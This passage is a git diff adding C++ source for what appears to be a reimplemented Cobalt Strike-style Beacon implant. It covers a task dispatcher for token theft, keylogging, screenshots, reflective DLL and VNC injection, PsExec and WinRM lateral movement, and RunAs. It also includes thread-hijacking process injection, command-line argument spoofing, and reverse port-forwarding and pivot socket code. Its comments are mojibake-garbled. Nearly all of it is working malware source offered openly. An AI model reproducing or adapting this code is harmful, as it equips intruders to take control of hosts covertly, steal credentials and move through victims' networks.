// cd + return; + case 9: + BeaconReflectiveDLLInject(Taskdata, Task_size, 1);// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮ + return; + case 10: + beacon_upload(Taskdata, Task_size, (char*)"wb");// ĿϴļIJ uploadelevate[sve-exe] + return; + case 11: + beacon_download(Taskdata, Task_size); // ļ + return; + case 12: + beacon_execute(Taskdata, Task_size); // execute + return; + case 13: + beacon_SpawnTo(Taskdata, Task_size, 1); + return; + //////////////////// + case 14: + sub_10006B2B(Taskdata, Task_size); + return; + case 15: + sub_10006CFC(Taskdata, Task_size); + return; + case 16: + { + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + u_long unknown = ntohl(*(u_long*)Taskdata); + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state && unknown == pgBeaconRportfwd->field_0 && pgBeaconRportfwd->field_10 != 2) + { + pgBeaconRportfwd->state = 0; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + return; + } + + case 17: + sub_10006ACD(Taskdata); + return; + //////////////////// + + case 18: + BeaconVNCReflectiveDLL(Taskdata, Task_size, 1); // vncdllעй + return; + case 19: + { + //ȡ + BeaconDownload* pgBeaconDownload = gBeaconDownload; + int v4 = ntohl(*(DWORD*)Taskdata); + while (pgBeaconDownload) + { + if (pgBeaconDownload->number == v4) + { + fclose(pgBeaconDownload->fp); + pgBeaconDownload->size = 0; + } + pgBeaconDownload = pgBeaconDownload->Linked; + } + return; + } + case 22: + //beacon + BeaconRequestChildBeacon(Taskdata, Task_size); + return; + case 23: + BeaconUnlink(ntohl(*(u_long*)Taskdata));// unlink + return; + case 24: + { + int ChildBeaconId = ntohl(*(u_long*)Taskdata); + int i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + break; + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + BeaconTaskOutput(gChildBeaconInfo[i].ChildBeaconData, gChildBeaconInfo[i].ChildBeaconDataSize, 10); + return; + } + case 27: + beacon_GetUID(); // GetUID + return; + case 28: + BeaconRevertToken(); // Rev2Self + return; + case 31: + beacon_steal_token(Taskdata, Task_size);// steal_token + return; + case 32: + beacon_ps(Taskdata, Task_size); // ps + return; + case 33: + beacon_Kill(Taskdata, Task_size); // Kill + return; + case 37: + BeaconPowerShellImport(Taskdata, Task_size); // 37 powershellImport + return; + case 38: + beacon_RunAs(Taskdata, Task_size); // RunAs + return; + case 39: + beacon_pwd(); // pwd + return; + case 40: + BeaconBackstageJob(0, Taskdata, Task_size, 0); + return; + case 41: + beacon_jobs(); // jobs + return; + case 42: + beacon_JobKill(Taskdata, Task_size); // JobKill + return; + case 43: + BeaconReflectiveDLLInject(Taskdata, Task_size, 0);// beacon_Inject + return; + case 44: + BeaconSpawnX86(1, Taskdata, Task_size, 0); // csܣҪ̵spawn ShellcodeSpawn SpawnAndTunnel + return; + case 45: // 4546 vncעй + BeaconVNCInject(Taskdata, Task_size, 1); + return; + case 46: + BeaconVNCInject(Taskdata, Task_size, 0); + return; + case 47: + BeaconSleepN(Taskdata, Task_size); + return; + case 49: + beacon_make_token(Taskdata, Task_size); // make_token + return; + case 50: + sub_100071B7(Taskdata, Task_size, 0); // PortForward,PortForwardLocal rportfwd start + return; + case 51: + sub_1000728D(Taskdata, Task_size); // rportfwd Stop + return; + case 52: + SendStageTCP(Taskdata, Task_size); + return; + case 53: + BeaconLs(Taskdata, Task_size); // ļ + return; + case 54: + beacon_MkDir(Taskdata, Task_size); // MkDir + return; + case 55: + GetDrivesList(Taskdata, Task_size); // GetLogicalDrives + return; + case 56: + beacon_rm(Taskdata, Task_size); // rm + return; + case 57: + NamedPipesSendData(Taskdata, Task_size); // PsExecPSH + return; + case 59: + ScriptCradle(Taskdata, Task_size); // jump_WinRM + return; + case 60: + StartNamedPipeReceiveData(Taskdata, Task_size); + return; + case 61: + ImpersonationToken(); + return; + case 62: + BeaconBackstageJob(1, Taskdata, Task_size, 0); + return; + case 67: + beacon_upload(Taskdata, Task_size, (char*)"ab"); // ϴļ + return; + case 68: + link_Smb_Beacon(Taskdata); + return; + case 69: + beacon_SpawnTo(Taskdata, Task_size, 0); // SpawnTo + return; + case 70: + SpawnProcessInjectionJob(Taskdata, Task_size, 1, 1); + return; + case 71: + SpawnProcessInjectionJob(Taskdata, Task_size, 0, 1); + return; + case 72: + beacon_SetEnv(Taskdata); // SetEnv + return; + case 73: + beacon_copy(Taskdata, Task_size); // cp + return; + case 74: + beacon_Move(Taskdata, Task_size); // Move + return; + case 75: + beacon_PPID(Taskdata, Task_size); // PPID + return; + case 76: + beacon_runu(Taskdata, Task_size); // runu + return; + case 77: + beacon_GetPrivs(Taskdata, Task_size); // GetPrivs + return; + case 78: + BeaconRunCommand(Taskdata, Task_size); // runCommand Run Shell + return; + case 79: + BeaconWebDelivery(Taskdata, Task_size); + return; + case 82: + BeaconTcpPivot(Taskdata, Task_size); // tcppivot ת rportfwd port + return; + case 83: + BeaconSpoofArgsAdd(Taskdata, Task_size); // SpoofArgsAdd ý·ͼ + return; + case 84: + SpoofArgsRemove(Taskdata, Task_size); // SpoofArgsRemove + return; + case 85: + SpoofArgsList(); // SpoofArgsList 鿴ƭ + return; + case 86: + connect_tcp_child_Beacon(Taskdata, Task_size);// Connect tcp beacon + return; + case 87: + SpawnProcessInjectionJob(Taskdata, Task_size, 1, 0); // ExecuteAssembly + return; + case 88: + SpawnProcessInjectionJob(Taskdata, Task_size, 0, 0);// ExecuteAssembly + return; + case 89: + BeaconSpawnX86(0, Taskdata, Task_size, 1); + return; + case 90: + BeaconSpawnX86(0, Taskdata, Task_size, 0); + return; + case 91: + BeaconVNCReflectiveDLL(Taskdata, Task_size, 0); + return; + case 92: + beacon_BlockDLLs(Taskdata, Task_size); // BlockDLLs + return; + case 93: // spawnas 93 94 + BeaconSpawnas(Taskdata, Task_size, 1); // COMMAND_SPAWNAS_X86 + return; + case 94: + BeaconSpawnas(Taskdata, Task_size, 0); // COMMAND_SPAWNAS_X64 + return; + case 98: // spawnu 98 99 + BeaconSpawnu(Taskdata, Task_size, 1); // COMMAND_SPAWNU_X86 + return; + case 99: + BeaconSpawnu(Taskdata, Task_size, 0); // COMMAND_SPAWNU_X64 + return; + case 100: + beacon_bof(Taskdata, Task_size); // bof DllLoad,Elevate[BypassUACToken,PsExec],GetSystem,RegQuery,remoteexec,runasadmin,TimeStomp + return; + case 101: + BeaconBackstageJob(0, Taskdata, Task_size, 1);// Printscreen,Screenshot,Screenwatch,keylogger ͸jobs + return; + case 102: + sub_100071B7(Taskdata, Task_size, 0x100007F);// SpawnAndTunnel + return; + default: + return; + } +} + +void Parse_Task(BeaconTask* beaconTask, size_t length) +{ + if (length) + { + BeaconTask* pbeaconTask = beaconTask; + while (true) + { + int Task_length = ntohl(pbeaconTask->length); + int Task_id = ntohl(pbeaconTask->id); + if ((char*)pbeaconTask + Task_length + 8 >= (char*)beaconTask+ length) + { + Task_handle(pbeaconTask->data, Task_length, Task_id); + break; + } + Task_handle(pbeaconTask->data, Task_length, Task_id); + *(ULONG_PTR*)&pbeaconTask = (ULONG_PTR)((char*)pbeaconTask+Task_length + 8); + } + } + memset(beaconTask, 0, length); +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconTask.h b/ReBeacon_Src/BeaconTask.h new file mode 100644 index 0000000..ac5bcd3 --- /dev/null +++ b/ReBeacon_Src/BeaconTask.h @@ -0,0 +1,8 @@ +#pragma once +#include "Global.h" + + + +void Parse_Task(BeaconTask* beaconTask, size_t length); + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconX64.cpp b/ReBeacon_Src/BeaconX64.cpp new file mode 100644 index 0000000..89903e6 --- /dev/null +++ b/ReBeacon_Src/BeaconX64.cpp @@ -0,0 +1,272 @@ +/* +x64ɵǽע벿мδʵ +*/ + +#include "BeaconX64.h" +#include "comm.h" +#include "common.h" + + +#ifdef _WIN64 + +//x64עx86 +BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter) +{ + + if (lpParameter) + { + return 0; + } + WOW64_CONTEXT Context; + Context.ContextFlags = 0x100002; + if (!Wow64GetThreadContext(hThread, &Context)) + { + return 0; + } + Context.Eax = BaseAddress; + if (!Wow64SetThreadContext(hThread, &Context)) + { + return 0; + } + return ResumeThread(hThread) != -1; +} + +//x64עx64 +BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter) +{ + + CONTEXT Context; + + Context.ContextFlags = 0x100002; + if (!GetThreadContext(hThread, &Context)) + { + return 0; + } + Context.Rcx = BaseAddress; + Context.Rdx = lpParameter; + if (!SetThreadContext(hThread, &Context)) + { + return 0; + } + return ResumeThread(hThread) != -1; +} + +BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter) +{ + HANDLE hThread = pBeaconProcessInject->hThread; + if (pBeaconProcessInject->is_process_arch == 0) + { + return sub_180012278(hThread, BaseAddress, lpParameter); + } + else + { + return sub_1800121EC(hThread, BaseAddress, lpParameter); + } +} + + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS) +{ + DWORD flOldProtect; + + if (is_process_arch(pInfo->hProcess)) + { + BeaconErrorNA(0x40); + return 0; + } + + CONTEXT Context; + DWORD64 addr = 0; + UNICODE_STRING CommandLine = { 0 }; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pInfo->hThread, &Context) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Rdx + 32), &addr, 8, 0) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 112), &CommandLine, sizeof(UNICODE_STRING), 0) + || !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.MaximumLength, 4, &flOldProtect)) + { + BeaconErrorD(0x41, GetLastError()); + return 0; + } + char* argc = (char*)malloc(CommandLine.MaximumLength); + memset(argc, 0, CommandLine.MaximumLength); + if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.MaximumLength)) + { + BeaconErrorNA(0x42); + free(argc); + return 0; + } + SIZE_T NumberOfBytesWritten; + if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.MaximumLength, &NumberOfBytesWritten)) + { + BeaconErrorD(65, GetLastError()); + free(argc); + return 0; + } + return 1; +} + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset) +{ + HANDLE Thread = NULL; + FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName); + if (!ProcAddress) + { + return 0; + } + + if (Remote == 6) + { + Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL); + } + else + { + if (Remote != 7) + { + return 0; + } + Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0); + } + + if (!Thread) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10000B; + if (!GetThreadContext(Thread, &Context)) + { + return 0; + } + Context.Rcx = (DWORD64)BaseAddress; + + + if (!SetThreadContext(Thread, &Context)) + { + return 0; + } + return ResumeThread(Thread) != -1; +} + + + +#else +BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter) +{ + + if (lpParameter) + { + return 0; + } + if (!pBeaconProcessInject->is_system_process) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pBeaconProcessInject->hThread, &Context)) + { + return 0; + } + Context.Eax = (DWORD)BaseAddress; + return SetThreadContext(pBeaconProcessInject->hThread, &Context) + && ResumeThread(pBeaconProcessInject->hThread) != -1; +} + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS) +{ + DWORD flOldProtect; + + if (is_process_arch(pInfo->hProcess)) + { + BeaconErrorNA(0x40); + return 0; + } + + CONTEXT Context; + DWORD addr = 0; + UNICODE_STRING CommandLine = { 0 }; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pInfo->hThread, &Context) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Ebx + 16), &addr, 4u, 0) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 64), &CommandLine, 8, 0) + || !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.Length, 4, &flOldProtect)) + { + BeaconErrorD(0x41, GetLastError()); + return 0; + } + char* argc = (char*)malloc(CommandLine.Length); + memset(argc, 0, CommandLine.Length); + if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.Length)) + { + BeaconErrorNA(0x42); + free(argc); + return 0; + } + SIZE_T NumberOfBytesWritten; + if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.Length, &NumberOfBytesWritten)) + { + BeaconErrorD(65, GetLastError()); + free(argc); + return 0; + } + return 1; +} + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset) +{ + HANDLE Thread = NULL; + FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName); + if (!ProcAddress) + { + return 0; + } + + if (Remote == 6) + { + Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL); + } + else + { + if (Remote != 7) + { + return 0; + } + Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0); + } + + if (!Thread) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10007; + if (!GetThreadContext(Thread, &Context)) + { + return 0; + } + Context.Eax = (DWORD)BaseAddress; + + + if (!SetThreadContext(Thread, &Context)) + { + return 0; + } + return ResumeThread(Thread) != -1; +} + + +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/BeaconX64.h b/ReBeacon_Src/BeaconX64.h new file mode 100644 index 0000000..cf91400 --- /dev/null +++ b/ReBeacon_Src/BeaconX64.h @@ -0,0 +1,42 @@ +#pragma once +#include "Global.h" + +#ifdef _WIN64 + +//x64עx86 +BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter); + +//x64עx64 +BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter); + +BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter); + + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS); + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset); + + +#else +BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter); + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS); + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset); + + +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/Beaconrportfwd.cpp b/ReBeacon_Src/Beaconrportfwd.cpp new file mode 100644 index 0000000..25fbc6d --- /dev/null +++ b/ReBeacon_Src/Beaconrportfwd.cpp @@ -0,0 +1,537 @@ +#include "Beaconrportfwd.h" +#include "common.h" +#include "comm.h" +#include +#include "ChildBeacon.h" + + +BeaconRportfwd* gBeaconRportfwd =0; +int sub_1000718A(short port) +{ + BeaconRportfwd* pBeaconRportfwd; + for (pBeaconRportfwd = gBeaconRportfwd; pBeaconRportfwd; pBeaconRportfwd = pBeaconRportfwd->Linked) + { + if (pBeaconRportfwd->state && pBeaconRportfwd->field_10 == 2 && pBeaconRportfwd->port == port) + { + return 1; + } + } + return 0; +} +SOCKET BeaconNewSocket(int addr, u_short port, int backlog) +{ + sockaddr_in name; + u_long argp = 1; + init_socket_options(); + SOCKET s = socket(AF_INET, SOCK_STREAM, NULL); + if (s == -1) + { + return -1; + } + + name.sin_family = AF_INET; + name.sin_port = htons(port); + name.sin_addr.S_un.S_addr = addr; + if (ioctlsocket(s, 0x8004667E, &argp) == -1 || bind(s, (sockaddr*)&name, sizeof(sockaddr_in)) == -1 || listen(s, backlog) == -1) + { + closesocket(s); + return -1; + } + return s; +} + +int dword_10037E58; +int sub_10006D6B() +{ + return (dword_10037E58++ & 0x3FFFFFF) + 0x4000000; +} + +void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6) +{ + + BeaconRportfwd* pBeaconRportfwd = (BeaconRportfwd*)malloc(sizeof(BeaconRportfwd)); + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + pBeaconRportfwd->Linked = gBeaconRportfwd; + pBeaconRportfwd->field_0 = unknown; + pBeaconRportfwd->socket = socket; + pBeaconRportfwd->state = a6; + int TickCount = GetTickCount(); + pBeaconRportfwd->field_C_time = 0; + pBeaconRportfwd->field_18 = TickCount; + pBeaconRportfwd->field_8_time = a3; + pBeaconRportfwd->field_10 = a4; + pBeaconRportfwd->port = port; + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->field_0 == unknown) + { + pgBeaconRportfwd->state = 0; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + gBeaconRportfwd = pBeaconRportfwd; +} + +void sub_100071B7(char* Taskdata, int Task_size, int addr) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + //ǷѾض˿ + if (!sub_1000718A(port)) + { + SOCKET s = BeaconNewSocket(addr, port, 10); + if (s == -1) + { + BeaconErrorD(0x15u, port); + } + else + { + Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 2, port, 2); + } + } +} + +void sub_1000728D(char* Taskdata, int Task_size) +{ + + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state) + { + if (pgBeaconRportfwd->field_10 == 2 && pgBeaconRportfwd->port == port) + { + pgBeaconRportfwd->state = 0; + } + if (pgBeaconRportfwd->field_10 == 3 && pgBeaconRportfwd->port == port) + { + pgBeaconRportfwd->state = 0; + } + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } +} + +void sub_10006D81() +{ + + fd_set writefds; + fd_set exceptfds; + fd_set readfds; + + timeval timeout; + timeout.tv_sec = 0; + timeout.tv_usec = 100; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (pgBeaconRportfwd) + { + while (1) + { + if (pgBeaconRportfwd->state != 2) + { + if (!pgBeaconRportfwd->Linked) + { + return; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + int data = htonl(pgBeaconRportfwd->field_0); + writefds.fd_count = 0; + exceptfds.fd_count = 0; + readfds.fd_count = 0; + + writefds.fd_array[0] = pgBeaconRportfwd->socket; + writefds.fd_count = 1; + + exceptfds.fd_array[0] = pgBeaconRportfwd->socket; + exceptfds.fd_count = 1; + + readfds.fd_array[0] = pgBeaconRportfwd->socket; + readfds.fd_count = 1; + + select(0, &readfds, &writefds, &exceptfds, &timeout); + + if (pgBeaconRportfwd->field_10 == 2) + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + u_long argp = 1; + SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0); + if (ioctlsocket(s, FIONBIO, &argp) == -1) + { + closesocket(s); + return; + } + int unknown = sub_10006D6B(); + data = unknown; + Add_Beacon_Rportfwd(unknown, s, 180000, 0, 0, 1); + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x80u); + BeaconFormatInt(&pformatp, unknown); + BeaconFormatInt(&pformatp, pgBeaconRportfwd->port); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 23); + BeaconFormatFree(&pformatp); + } + } + else if (pgBeaconRportfwd->field_10 == 3) + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0); + ChildBeacon pTcpChildBeacon = {0}; + InitTcpChildBeacon(s, &pTcpChildBeacon); + int port = pgBeaconRportfwd->port | 0x110000; + AddChildBeacon( + port, + &pTcpChildBeacon, + &pTcpChildBeacon, + pTcpChildBeacon.recvChildBeacon, + pTcpChildBeacon.sendChildBeacon, + pTcpChildBeacon.closeChildBeacon, + pTcpChildBeacon.FlushFileBuffers, + pTcpChildBeacon.checkChildBeacon); + } + } + else + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &exceptfds)) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &writefds)) + { + pgBeaconRportfwd->state = 1; + BeaconTaskOutput((char*)&data, 4, 6); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + if (GetTickCount() - pgBeaconRportfwd->field_18 <= pgBeaconRportfwd->field_8_time) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + SOCKET ss = accept(pgBeaconRportfwd->socket, 0, 0); + pgBeaconRportfwd->socket = ss; + if (ss == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + } + else + { + pgBeaconRportfwd->state = 1; + BeaconTaskOutput((char*)&data, 4, 6); + } + closesocket(ss); + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + } + } +} + + +int sub_10006981(char* buffer, SOCKET s, int size) +{ + + if (size <= 0) + { + return 0; + } + int recvsize=0; + while (1) + { + int ret = recv(s, &buffer[recvsize], size - recvsize, 0); + recvsize += ret; + if (ret == -1) + { + break; + } + if (recvsize >= size) + { + return recvsize; + } + } + shutdown(s, 2); + closesocket(s); + return -1; +} + +char* precvdata=0; +int sub_1000707E() +{ + int n=0; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (!precvdata) + { + precvdata = (char*)malloc(0x100000u); + } + + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state != 1) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + *(int*)precvdata = htonl(pgBeaconRportfwd->field_0); + u_long argp = 0; + int ret = ioctlsocket(pgBeaconRportfwd->socket, 0x4004667F, &argp); + if (argp > 0xFFFFC) + { + argp = 0xFFFFC; + } + if (ret == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput(precvdata, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + if (!argp) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + int recvsize = sub_10006981(precvdata + 4, pgBeaconRportfwd->socket, argp);//argp=12 + if (recvsize == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput(precvdata, 4u, 4u); + } + else if (recvsize == argp) + { + BeaconTaskOutput(precvdata, argp + 4, 5);// + ++n; + } + + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + return n; +} + +void sub_10006FF5() +{ + BeaconRportfwd* temp=0; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (pgBeaconRportfwd) + { + while (1) + { + if (pgBeaconRportfwd->state) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!pgBeaconRportfwd->field_C_time) + { + pgBeaconRportfwd->field_C_time = GetTickCount(); + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (GetTickCount() - pgBeaconRportfwd->field_C_time <= 0x3E8) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!pgBeaconRportfwd->field_10) + { + shutdown(pgBeaconRportfwd->socket, 2); + } + if (closesocket(pgBeaconRportfwd->socket) && pgBeaconRportfwd->field_10 == 2) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!temp) + { + gBeaconRportfwd = pgBeaconRportfwd->Linked; + free(pgBeaconRportfwd); + return; + } + temp->Linked = pgBeaconRportfwd->Linked; + free(pgBeaconRportfwd); + pgBeaconRportfwd = temp->Linked; + if (!pgBeaconRportfwd) + { + return; + } + } + + } + + +} + + +void sub_10006B2B(char* Taskdata,int taskdatasize) +{ + int unknown = ntohl(*(u_long*)Taskdata); + int port = ntohs(*(u_short*)(Taskdata+4)); + int size = taskdatasize - 6; + if (size >= 1023) + { + size = 1023; + } + char name[1024]; + memcpy(name, Taskdata+6, size); + name[size] = 0; + init_socket_options(); + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + closesocket(0xFFFFFFFF); + + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + hostent* host = gethostbyname(name); + if (!host) + { + closesocket(s); + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + + sockaddr_in addr; + memcpy(&addr.sin_addr, *(const void **)host->h_addr_list, host->h_length); + addr.sin_port = htons(port); + addr.sin_family = AF_INET; + + u_long argp =1; + if (ioctlsocket(s, 0x8004667E, &argp) == -1 + || connect(s, (sockaddr *)&addr, sizeof(sockaddr_in)) == -1 && WSAGetLastError() != 10035) + { + closesocket(s); + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + Add_Beacon_Rportfwd(unknown, s, 30000, 0, 0, 2); +} + + + +void sub_10006C36(BeaconRportfwd* pBeaconRportfwd, char* buf, int len) +{ + fd_set writefds; + fd_set exceptfds; + + timeval timeout; + timeout.tv_sec = 0; + timeout.tv_usec = 100; + + int time = GetTickCount() + 30000; + + while (GetTickCount() < time) + { + writefds.fd_array[0] = pBeaconRportfwd->socket; + writefds.fd_count = 1; + + exceptfds.fd_array[0] = writefds.fd_array[0]; + exceptfds.fd_count = 1; + + select(0, 0, &writefds, &exceptfds, &timeout); + if (__WSAFDIsSet(pBeaconRportfwd->socket, &exceptfds)) + { + break; + } + if (__WSAFDIsSet(pBeaconRportfwd->socket, &writefds)) + { + if (send(pBeaconRportfwd->socket, buf, len, 0) != -1 || WSAGetLastError() != 10035) + { + return; + } + Sleep(0x3E8); + } + } +} + +void sub_10006CFC(char* Taskdata, int taskdatasize) +{ + + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + u_long unknown = ntohl(*(u_long*)Taskdata); + + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state == 1 && unknown == pgBeaconRportfwd->field_0) + { + sub_10006C36(pgBeaconRportfwd, Taskdata+4, taskdatasize-4); + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } +} + +void sub_10006ACD(char* Taskdata) +{ + + datap pdatap; + int unknown = BeaconDataInt(&pdatap); + short port = BeaconDataShort(&pdatap); + SOCKET socket = BeaconNewSocket(0, port, 1); + if (socket == -1) + { + BeaconTaskOutput(Taskdata, 4u, 4u); + } + else + { + Add_Beacon_Rportfwd(unknown, socket, 180000, 1, port, 2); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/Beaconrportfwd.h b/ReBeacon_Src/Beaconrportfwd.h new file mode 100644 index 0000000..0785d03 --- /dev/null +++ b/ReBeacon_Src/Beaconrportfwd.h @@ -0,0 +1,40 @@ +#pragma once +#include "Utils.h" +#pragma pack(1) +struct BeaconRportfwd +{ + int field_0; + int state; + int field_8_time; + int field_C_time; + int field_10; + int port; + int field_18; + SOCKET socket; + BeaconRportfwd* Linked; +}; +#pragma pack() + +extern BeaconRportfwd* gBeaconRportfwd; + +int sub_10006D6B(); + +void sub_100071B7(char* Taskdata, int Task_size, int addr); + +void sub_1000728D(char* Taskdata, int Task_size); + +SOCKET BeaconNewSocket(int addr, u_short port, int backlog); + +void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6); + +void sub_10006D81(); + +int sub_1000707E(); + +void sub_10006FF5(); + +void sub_10006B2B(char* Taskdata, int taskdatasize); + +void sub_10006CFC(char* Taskdata, int taskdatasize); + +void sub_10006ACD(char* Taskdata); \ No newline at end of file diff --git a/ReBeacon_Src/ChildBeacon.cpp b/ReBeacon_Src/ChildBeacon.cpp new file mode 100644 index 0000000..cbac497 --- /dev/null +++ b/ReBeacon_Src/ChildBeacon.cpp @@ -0,0 